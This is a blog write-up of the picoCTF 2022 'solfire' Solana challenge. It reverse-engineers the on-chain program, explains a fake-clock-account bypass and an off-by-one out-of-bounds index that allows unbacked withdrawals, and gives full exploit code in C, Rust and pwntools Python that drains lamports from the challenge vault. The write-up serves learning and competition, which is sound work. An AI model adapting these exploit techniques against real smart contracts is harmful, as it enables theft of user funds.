blog of bosh mainly cybersec

picoCTF 2022 - solfire

b1c_waves takes 2nd in the world and in high schools!

Though it was disappointing not getting 1st I did solve a pretty cool blockchain pwn challenge.

This challenge was solved and written up alongside Mullaghmore.

solfire

Challenge Presentation

.
├── Cargo.lock
├── Cargo.toml
├── Dockerfile
├── solfire.so
└── src
    └── main.rs

The challenge description linked to this article, which is super helpful to understanding how Solana works. You should probably read it before continuing if you are unfamiliar.

We are given a main.rs, which acts as our Solana blockchain “environment”. Under the hood it uses solana-poc-framework to simulate transactions, but we don’t need to attack that.

Let’s analyze what main.rs does.

1) Reads in an integer into the len variable

2) Reads in len bytes of data, and writes it to a temporary file

3) Loads solfire.so and the new file as on-chain programs

4) Creates new user account

5) Prints out some pubkeys

6) Derives a program address with the vault seed from the solfire.so pubkey

7) Transfers 1,000,000 lamports into the vault, from the environment account

8) Transfers 10 lamports into the user account, from the environment account

9) Reads some pubkeys (we can specify if they are signer / writable pubkeys)

10) Reads another integer into the ix_data_len variable

11) Reads ix_data_len bytes

12) Creates a new Solana instruction to call our program with, with the instruction data being what we just gave it

13) Executes the instruction, and signs it with the user account

14) If we have more than TARGET_AMT (50,000) lamports in the user account after the transcation, we get the flag!

From a high level perspective, main.rs basically just loads solfire.so and any program we write as onchain programs, then lets us call our own program with our own data as ourself. How do we get the flag then??

Solana Concepts

Everything is an account, meaning everything has an associated pubkey. Even onchain programs. From now on just think of a “pubkey” as just another identifier.

As a recap from the osec post,

  • Solana has a collection of native onchain programs
  • Solana accounts are owned by default by the System Program
  • Lamports are mini SOLs that can be thought of as the currency
  • To modify account data, the program modifying the account must be able to provide a signature (with a private key) for the account
  • You only need a private key to sign transactions when you take lamports out of a Solana account

Also, the account pubkey is base58 encoded to be a printable string. For some reason.

Derived accounts are “special” accounts that are generated “off” the curve (ed25519). This means that their public “key” has no associated private key. So why are they useful? The fact they have no private key means that only the owner of the derived account can modify it. Another cool fact is that they can be derived deterministically with a seed.

Finally, we can actually invoke the solfire.so program from within the program we run, due to a cool thing called cross program invocations. We can programmatically control what data we give it – accounts and transaction data. We can also sign as the user account, as our program is authorized to do so!

For example, we can use Instruction::new_with_bincode to create a custom instruction that tells the blockchain that we want to call the solfire program (by its pubkey). Then, we can execute it by calling invoke or invoke_signed.

Reversing and Analysis

Firstly, one should realize that Solana onchain programs are all compiled to extended Berkeley Packet Filter for some reason. So stock Ghidra just won’t cut it.

There was one outdated plugin we found for an old version of Ghidra, but it was pretty bad. We ended up settling with this plugin which worked really well, or at least better than the other one.

As expected with Solana programs, there is an entrypoint function which basically deserializes the parameter it is called with, and then calls the solfire function:

undefined8 solfire(SolParameters **param_1)

{
  int iVar1;
  bool bVar2;
  char *pcVar3;
  ulonglong uVar4;
  u64 len;
  ulonglong acct_key_encoded_length;
  char *account_key_encoded_ref;
  SolAccountInfo (*ka) [5];
  ulonglong check_key_equality_i;
  ulonglong encoded_buffer_size;
  char account_key_encoded;
  char acStack99 [99];
  
  ka = (SolAccountInfo (*) [5])*param_1;
  encoded_buffer_size = 100;
  account_key_encoded_ref = &account_key_encoded;
  b58enc(account_key_encoded_ref,&encoded_buffer_size,((*ka)[0].key)->x,0x20);
  uVar4 = 0;
  while( true ) {
    acct_key_encoded_length = 0;
    if (account_key_encoded != '\0') {
      acct_key_encoded_length = 0;
      do {
        pcVar3 = acStack99 + acct_key_encoded_length;
        acct_key_encoded_length = acct_key_encoded_length + 1;
      } while (*pcVar3 != '\0');
    }
    if (acct_key_encoded_length <= uVar4) break;
    check_key_equality_i = 0;
    while (account_key_encoded_ref[check_key_equality_i] == "C1ock"[check_key_equality_i]) {
      if ((account_key_encoded_ref[check_key_equality_i] == '\0') ||
         (bVar2 = 3 < check_key_equality_i, check_key_equality_i = check_key_equality_i + 1, bVar2))
      {
        if (acct_key_encoded_length <= uVar4) goto LBB12_11;
        if (((*ka)[0].data)->accounts[2].amount_withdrawn < 0x6230b800) {
          if (param_1[3] < (SolParameters *)0x4) {
            sol_panic_("./src/solfire/solfire.c",0x18,0xc5,0);
          }
          iVar1 = *(int *)&param_1[2]->ka;
          if (iVar1 == 0) {
            handle_create((u8 ***)param_1);
          }
          else if (iVar1 == 1) {
            handle_deposit((u8 ***)param_1);
          }
          else {
            if (iVar1 != 2) {
              sol_log_("invalid op choice",0x11);
              log_int((longlong)*(int *)&param_1[2]->ka,10);
              return 0x200000000;
            }
            handle_withdraw((u8 **)param_1);
          }
          return 0;
        }
        account_key_encoded_ref = "it is too late to do this challenge :(";
        len = 0x26;
        goto LBB12_14;
      }
    }
    account_key_encoded_ref = account_key_encoded_ref + 1;
    uVar4 = uVar4 + 1;
  }
LBB12_11:
  account_key_encoded_ref = "bad C1ock account";
  len = 0x11;
LBB12_14:
  sol_log_(account_key_encoded_ref,len);
  return 0x200000000;
}

Before getting exposing access to any real functionality, the solfire function has two elementary checks:

1) It requires the first account’s pubkey to start with C1ock

2) It requires the first 8 bytes of the first account’s data to be less than 0x6230b800

As it turns out, Solana has a sysvar for system time. Its address is SysvarC1ock11111111111111111111111111111111. The first 8 bytes contains the Unix timestamp. Converting 0x6230b800 to a date, we see it represents 3/15/22 at 12 PM Eastern, which is exactly when picoCTF started. In order to have a timestamp less than that, we must go back in time…?

I didn’t really understand what was going on but I started passing in SysvarC1ock11111111111111111111111111111112 as the first account as a joke and it passed both checks lol.

The reason it passes the second check is that when a metadata references an address that doesn’t exist, Solana will just pass in an “empty” account. This empty account also has a data section of all 0x00, which is less than 0x6230b800!

From here, we can call whatever function we want by specifying the correct operation code in the instruction data of our original program invocation, stored in the first 8 bytes of said data.

Ben and I then spent probably upwards of 50 hours combined just reversing the rest of the functions, and figuring out stack layout / structures.

There are 3 transactional functions that solfire.so lets us use:

  • handle_create
  • handle_withdraw
  • handle_deposit

We want to steal money. So we look at handle_withdraw. But also be dumb and reverse all the other functions.

handle_withdraw

After many hours of reversing, here it is:

/* WARNING: Could not reconcile some variable overlaps */

undefined8 handle_withdraw(u8 **param_1)

{
  SolPubkey *acct_2_key;
  SolPubkey *public_key;
  SolfireAccount *account;
  SolPubkey *acct_3_owner;
  ulonglong i;
  SolAccountInfo (*ka) [5];
  u8 *instruction_data;
  SolInstruction stack128;
  u8 new_instruction_data [12];
  SolAccountMeta new_instruction_accounts [2];
  SolSignerSeeds signer_seeds;
  SolSignerSeed signer_seed;
  char signer_seed_val [6];
  u8 curr_acct_key_char;
  u8 curr_program_id_char;
  longlong key_i;
  bool length_check;
  longlong owner_i;
  
  sol_log_("handle_withdraw",0xf);
  if (param_1[1] != (u8 *)0x5) {
    sol_panic_("./src/solfire/solfire.c",0x18,0x83,0);
  }
  ka = (SolAccountInfo (*) [5])*param_1;
  acct_2_key = (*ka)[1].key;
  stack128.data = (u8 *)0x0;
  stack128.account_len = 0;
  stack128.accounts = (SolPubkey *)0x0;
  stack128.program_id = (SolPubkey *)0x0;
                    /* Check that account [1]'s key is null (or, probably, the system program) */
  if (acct_2_key->x[0] == 0) {
    i = 1;
    do {
      curr_acct_key_char = acct_2_key->x[i];
      curr_program_id_char = *(u8 *)((longlong)&stack128.program_id + i);
      if (curr_acct_key_char != curr_program_id_char) break;
      length_check = i < 0x1f;
      i = i + 1;
    } while (length_check);
    if (curr_acct_key_char != curr_program_id_char) goto LBB11_7;
  }
  else {
LBB11_7:
    sol_panic_("./src/solfire/solfire.c",0x18,0x89,0);
  }
                    /* Check that the owner of account [2] is this program
                        */
  public_key = (SolPubkey *)param_1[4];
  acct_3_owner = (*ka)[2].owner;
  if (acct_3_owner->x[0] == public_key->x[0]) {
    i = 0;
    if (acct_3_owner->x[1] == public_key->x[1]) {
      i = 0;
      do {
        if (i == 0x1e) goto LBB11_15;
        owner_i = i + 2;
        key_i = i + 2;
        i = i + 1;
      } while (acct_3_owner->x[owner_i] == public_key->x[key_i]);
    }
    if (0x1e < i) goto LBB11_15;
  }
  sol_panic_("./src/solfire/solfire.c",0x18,0x44,0);
LBB11_15:
                    /* Check that account [3] has signed the transaction */
  if ((*ka)[3].is_signer == false) {
    sol_panic_("./src/solfire/solfire.c",0x18,0x8e,0);
  }
  if (param_1[3] + -4 < (u8 *)0xc) {
    sol_panic_("./src/solfire/solfire.c",0x18,0x8f,0);
  }
  instruction_data = param_1[2];
  if (0x280 < *(uint *)(instruction_data + 4)) {
    sol_panic_("./src/solfire/solfire.c",0x18,0x92,0);
  }
  if (*(int *)(instruction_data + 8) == 0) {
    sol_panic_("./src/solfire/solfire.c",0x18,0x93,0);
  }
  signer_seed_val[4] = 't';
                    /* https://docs.solana.com/developing/programming-model/calling-between-programs #hash-based-generated-program-addresses
                        */
  signer_seed_val._0_4_ = 0x6c756176;
  signer_seed_val[5] = instruction_data[0xc];
  signer_seed.len = 6;
  signer_seed.addr = (u8 *)signer_seed_val;
  signer_seeds.addr = &signer_seed;
  signer_seeds.len = 1;
  new_instruction_accounts[0].pubkey = (*ka)[4].key;
  new_instruction_accounts[0]._8_2_ = 0x101;
  new_instruction_accounts[1].pubkey = (*ka)[3].key;
  new_instruction_accounts[1]._8_2_ = 1;
  new_instruction_data._2_2_ = 0;
  new_instruction_data._0_2_ = 2;
  new_instruction_data._4_6_ = (uint6)*(uint *)(instruction_data + 8);
  new_instruction_data._10_2_ = 0;
                    /* Build the new instruction */
  stack128.program_id = (*ka)[1].key;
  stack128.data_len = 0xc;
  stack128.data = new_instruction_data;
  stack128.account_len = 2;
  stack128.accounts = (SolPubkey *)new_instruction_accounts;
                    /* Send the new instruction */
  sol_invoke_signed_c(&stack128,*param_1,(u64)param_1[1],&signer_seeds,1);
  account = ((*ka)[2].data)->accounts + *(uint *)(instruction_data + 4);
  i = account->amount_withdrawn + (ulonglong)*(uint *)(instruction_data + 8);
  account->amount_withdrawn = i;
  if (account->amount_deposited < i) {
    sol_panic_("./src/solfire/solfire.c",0x18,0xaf,0);
  }
  return 0;
}

In short, handle_withdraw has these checks:

  • accounts[1] must be null, or more recognizably, 1111... in base58 encoding (the system program!!)
  • the owner of accounts[2] is solfire.so
    • accounts[2] is modified later on as we’ll see, so the program ensures ownership
  • accounts[3] to be a signer account

The reason why accounts[2] must be modifiable is that it uses the data section of the account to store account data.

From here, you can think of solfire.so as a bank vault. It has a bunch of money, and people can make accounts with balances in them. How are their balances stored? Using some strong inferencing skills, we can deduce that:

struct SolfireAccount {
    u64 amount_withdrawn;
    u64 amount_deposited;
}

and the data section of accounts[2] is simply an array containing 0x280 such structures.

In each operation to handle_withdraw or handle_deposit, one must specify the account number, which is used to index within the SolfireAccount array that accounts[2] holds.

Continuing in handle_withdraw, the code then builds and signed-invokes a transaction. The instruction asks to take as many lamports as we want from accounts[4] and to give it to accounts[3] (reference the new_instruction_data part in the decomp).

Then, it checks that the requester hasn’t overdrawn from the account index they specified, by comparing amount_withdrawn and amount_deposited. If they did, solfire.so panics and effectively cancels the transaction.

So now we need a way to withdraw money from a vault account but still have the corresponding amount_deposited be greater than how much we withdrew, WITHOUT depositing any of our money (because we have none).

There are two things that lead to a vulnerability here. First, we can somewhat control the account that is used for account fund checking. We can just pass whatever account we want as accounts[2]. This means we can theoretically make its data section length 0. However, we can still index out of the array, giving us access out of bounds.

I’m not really sure why, but even with a data section size of 0, the next objects on the eBPF interpreter heap memory only appear at 0x281 * 16 bytes away, meaning we still can’t access them with our out of bounds access.

However, in the index check (0x280 < *(uint *)(instruction_data + 4)), there is just an off by one. So we can still access values on the heap that we aren’t supposed to! $_$

Exploitation

Before starting, make sure to add setup_logging(LogLevel::DEBUG); somewhere in the main Rust function. This will let us access the debug logs that solfire.so and our own program output, as well as know where we crash on panics.

To facilitate development, I used both the Rust and C helpers in solana-labs/example-helloworld.

Our exploitation goes as follows:

  • Derive an program address for the solfire.so program
  • Create a program address with a seed - this is our state account. When creating a new account, we need the address we’re deriving from to be a signer. There might be a simpler way of doing this, but we achieved this by deriving an address from the program (which we can then use as a signer) and then deriving/creating a new account from the already derived address.
  • Withdraw 50000 lamports from some account index, passing in the account we just made as our state

I wrote a quick debug program to replace solfire.so to dump memory contents.

#include <solana_sdk.h>

typedef struct {
  uint64_t a;
  uint64_t b;
} SolfireAccount;

typedef struct {
  SolfireAccount a[640];
} SolfireAccounts;


uint64_t dump(SolParameters *params) {
  sol_log("Hello!");

  if (params->ka_num != 5){
    sol_log("number of accounts incorrect");
    return SUCCESS;
  }

  SolAccountInfo * state_account = &params->ka[2];

  SolfireAccounts * d = (SolfireAccounts *)state_account->data;
  sol_log_pubkey(state_account->key);

  for(int i = 0; i < 0x500; ++i){
    sol_log_64(i, d->a[i].a, d->a[i].b, 0, 0);
  }

  return SUCCESS;
}

extern uint64_t entrypoint(const uint8_t *input) {
  sol_log("Dump entrypoint");


  SolAccountInfo accounts[5];
  SolParameters params = (SolParameters){.ka = accounts};

  if (!sol_deserialize(input, &params, SOL_ARRAY_SIZE(accounts))) {
    return ERROR_INVALID_ARGUMENT;
  }

  return dump(&params);
}

This program basically just writes out a ton of integers, indexed from the data section of an account.

It ends up that our off by one lets us read what is presumably the heap metadata from the next chunk in memory, and the first 8 bytes (fitting into amount_withdrawn is much lower than the next 8 bytes (fitting into amount_deposited). So, it looks like we are withdrawing from an account which already has a lot of money deposited into it, at index 0x280.

Here is my Rust solution script:

use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::{
    account_info::{next_account_info, AccountInfo},
    entrypoint,
    entrypoint::ProgramResult,
    msg,
    program::invoke_signed,
    program_error::ProgramError,
    pubkey::Pubkey,
    system_instruction,
};

use solana_program::{
    instruction::{AccountMeta, Instruction},
    program::invoke,
};

use std::str::FromStr;

#[derive(Serialize, Deserialize)]
pub struct SolfireWithdrawData {
    pub op: u32, // 2
    pub account_number: u32, // It's gotta be less than 0x280
    pub num_lamports: u32,
    pub b: u32, // The "bump seed" used for the vault. As it turns out, this is 255.
}

#[derive(BorshSerialize, BorshDeserialize)]
pub struct InstructionData {
    pub account_num: u32,
    pub state_size: u32,
}

// Declare and export the program's entrypoint
entrypoint!(process_instruction);

// Program entrypoint's implementation
pub fn process_instruction(
    program_id: &Pubkey, // Public key of the account the program was loaded into
    accounts: &[AccountInfo], // The accounts given
    instruction_data: &[u8],
) -> ProgramResult {
    let instruction_data = InstructionData::try_from_slice(instruction_data).unwrap();
    msg!("Starting solve program...");

    msg!("program id {}", program_id);

    let seed_str = "haha i would never curse"; // Can be anything, as long as the derived key isn't on the curve.

    let solfire_pubkey = Pubkey::from_str("96e3EUQXXb9M5NHU9Vbn4CMfC577ko8dWnRpQKrwDdjn").unwrap();

    let (derived_pubkey, derived_b) = Pubkey::find_program_address(&[b"derived"], program_id);

    let metas: Vec<AccountMeta> = accounts[0..5]
        .iter()
        .map(|e| {
            if e.is_writable || e.key.to_bytes() == derived_pubkey.to_bytes() {
                AccountMeta::new(*e.key, e.is_signer)
            } else {
                AccountMeta::new_readonly(*e.key, e.is_signer)
            }
        })
        .collect();

    msg!("key1 {}", derived_pubkey);

    let state_account_key =
        Pubkey::create_with_seed(&derived_pubkey, seed_str, &solfire_pubkey).unwrap();

    msg!("key2 {}", state_account_key);

    // Create the "state" account.

    let create_account_instruction = system_instruction::allocate_with_seed(
        &state_account_key,
        &derived_pubkey,
        seed_str,
        instruction_data.state_size.into(),
        &solfire_pubkey,
    );

    let _result = invoke_signed(
        &create_account_instruction,
        &accounts,
        &[&[b"derived", &[derived_b]], &[seed_str.as_bytes()]],
    )?;

    // Attempt to withdraw

    let withdraw_instruction = Instruction::new_with_bincode(
        solfire_pubkey,
        &SolfireWithdrawData {
            op: 2,
            account_number: instruction_data.account_num,
            num_lamports: 50000,
            b: 0xff,
        },
        metas.clone(),
    );

    invoke_signed(
        &withdraw_instruction,
        &accounts[0..5],
        &[&[b"derived", &[derived_b]], &[seed_str.as_bytes()]],
    )
    .unwrap();

    Ok(())
}

But Rust generates binaries too large which errors the remote server. So I had to rewrite it in C. I hardcoded a lot more stuff here because I’m lazy and already knew how the solve worked.


#include <solana_sdk.h>

uint64_t solve(SolParameters *params)
{
    sol_log("Hello!");

    sol_log_64(params->ka_num, 0, 0, 0, 0);

    if (params->ka_num != 7)
    {
        return SUCCESS;
    }

    uint8_t seed_str[] = {'5', '+', '-', '1', '0', '>', 'z', 'f', 'i', 's', ' ', 'w', '3', 'v', 'e', ' ', '2', '7'};

    // base58 decoding of the actual pubkey
    SolPubkey solfire_pubkey = {.x = "xOGm\f\xabR\x9b@>\xa5\x03\xa4\x8b[\xf3Q\xd0\x09\xff\x42,\x1cH\xf0O\xab\x91\xf9\x86^\xa1"};

    uint8_t seed[] = {'d', 'e', 'r', 'i', 'v', 'e', 'd'};

    const SolSignerSeed seeds[] = {{seed, SOL_ARRAY_SIZE(seed)}};

    SolPubkey address;
    uint8_t bump_seed;

    sol_try_find_program_address(
        seeds, SOL_ARRAY_SIZE(seeds), params->program_id,
        &address, &bump_seed);

    sol_log_pubkey(&address);

    uint8_t result[32];

    const SolBytes bytes[] = {{address.x, SOL_ARRAY_SIZE(address.x)},
                              {seed_str, SOL_ARRAY_SIZE(seed_str)},
                              {solfire_pubkey.x, SOL_ARRAY_SIZE(solfire_pubkey.x)}};

    sol_sha256(bytes, SOL_ARRAY_SIZE(bytes), result);

    SolPubkey state_account_key;
    sol_memcpy(&state_account_key, result, 32);
    sol_log_pubkey(&state_account_key);

    /*
    <4 bytes opcode>
    <32 bytes key derived key>
    <8 bytes seed length>
    <n bytes seed>
    <8 bytes size to allocate>
    <32 bytes owner key>
    */

    SolAccountMeta metas[] = {
        {&state_account_key, true, false},
        {&address, false, true}};

    uint8_t data[4 + 32 + 8 + 18 + 8 + 32];

    *(uint32_t *)(data) = 9;
    sol_memcpy(data + 4, address.x, 32);
    *(uint64_t *)(data + 4 + 32) = 18;
    sol_memcpy(data + 4 + 32 + 8, seed_str, 18);
    *(uint64_t *)(data + 4 + 32 + 8 + 18) = 0;
    sol_memcpy(data + 4 + 32 + 8 + 18 + 8, params->ka[6].key, 32);

    const SolInstruction instruction = {params->ka[1].key,
                                        metas, SOL_ARRAY_SIZE(metas),
                                        data, SOL_ARRAY_SIZE(data)};

    const SolSignerSeed seeds2[] = {{seed, SOL_ARRAY_SIZE(seed)},
                                    {&bump_seed, 1}};

    const SolSignerSeed seeds3[] = {{seed_str, SOL_ARRAY_SIZE(seed_str)}};

    const SolSignerSeeds signers_seeds[] = {
        {seeds2, SOL_ARRAY_SIZE(seeds2)},
        {seeds3, 1}};

    sol_invoke_signed(&instruction, params->ka,
                      7,
                      signers_seeds,
                      SOL_ARRAY_SIZE(signers_seeds));

    /*
    sysvarclock --
    system --
    state_key -w
    user_pubkey sw
    vault_pubkey -w
    */

    SolAccountMeta metas2[] = {
        {params->ka[0].key, false, false},
        {params->ka[1].key, false, false},
        {params->ka[2].key, true, false},
        {params->ka[3].key, true, true},
        {params->ka[4].key, true, false}};

    /*
    <4 bytes opcode>
    <4 bytes acct idx == 0x280>
    <4 bytes amt_withdraw (0xc350 == 50000)
    <4 bytes bumpseed == 0xff>
    */
    uint8_t data2[4 + 4 + 4 + 4];

    *(uint32_t *)(data2) = 2;
    *(uint32_t *)(data2 + 4) = 0x280;
    *(uint32_t *)(data2 + 8) = 0xc350;
    *(uint32_t *)(data2 + 12) = 0xff;

    const SolInstruction instruction2 = {params->ka[6].key,
                                         metas2, SOL_ARRAY_SIZE(metas2),
                                         data2, SOL_ARRAY_SIZE(data2)};

    sol_invoke_signed(
        &instruction2,
        params->ka,
        5,
        signers_seeds,
        SOL_ARRAY_SIZE(signers_seeds));

    return SUCCESS;
}

extern uint64_t entrypoint(const uint8_t *input)
{
    sol_log("Solve program entrypoint");

    SolAccountInfo accounts[10];
    SolParameters params = (SolParameters){.ka = accounts};

    if (!sol_deserialize(input, &params, SOL_ARRAY_SIZE(accounts)))
    {
        return ERROR_INVALID_ARGUMENT;
    }

    return solve(&params);
}

My Python program to interface with the server:

from pwn import *
from solana.publickey import PublicKey
import time

import base64

a = open("./out.so", "rb").read()
context.log_level="debug"

def test_one(num, size, a=a):
    #p = remote("localhost", 8080)
    p = remote("saturn.picoctf.net", 56015)

    p.sendlineafter(b"len:", str(len(a)))

    p.send(a)

    p.recvuntil(b"solve pubkey: ")

    solve_pubkey = PublicKey((p.recvline()[:-1]).decode())

    print("solve pubkey", solve_pubkey)

    p.recvuntil(b"user pubkey: ")

    user_pubkey = p.recvline()[:-1]

    print("user pubkey", user_pubkey)

    solfire_pubkey = PublicKey("96e3EUQXXb9M5NHU9Vbn4CMfC577ko8dWnRpQKrwDdjn")

    accounts = [
        [b"_", b"SysvarC1ock11111111111111111111111111111112"], # Fake Clock
        [b"_", b"11111111111111111111111111111111"], # System account
        [b"w", b"9FHvWghYJcNMFA3aMMy23qwRgKYaS3yXnwfDJmPoNv97"], # Doubly derived pubkey (state)
        [b"sw", user_pubkey], # The user, which is the only account that signs the initial transaction.
        [b"w", b"28Xm4VxYY2wAywq8pNMfYRrhs99aTGEsyLoE4hozDgu6"], # Vault pubkey
        [b"w", b"EmQxSH2spvyLw31pGYugqc21wJieazCCwYkBSpFtUxAE"], # Program pubkey
        [b"_", solfire_pubkey.to_base58()], # Has to be here for the invoke.
    ]

    p.sendline(str(len(accounts)))

    for a in accounts:
        p.sendline(b' '.join(a))

    transaction = bytes(num.to_bytes(4, 'little') + size.to_bytes(4, 'little'))

    p.sendline(str(len(transaction)))

    p.send(transaction)

    p.recvuntil('user bal: ')
    user_bal = int(p.recvline())

    p.close()

    return user_bal != 10

# i = 0
# while True:
#     print(i)
#     if(test_one(i, 8)):
#         print("FOUND")
#         break
#     i += 1

test_one(0x280, 0)

Sometimes the pubkeys or seeds won’t work. In the case of pubkeys, it would be something like “Unknown account x”, and I would just substitute in that account for either accounts[2] or accounts[5]. This is necessary because the addresses are derived from the hash of the program, which frequently changed while we tested it. They could’ve been derived dynamically using the Solana python library, but we didn’t bother here. In the case of the doubly-derived seed, I would just play around and change characters until it worked (remember, there’s a ~50% chance it lies on the ed25519 curve and is therefore invalid, as we don’t want it to have an associated private key).

Running with the remote server gives us the flag!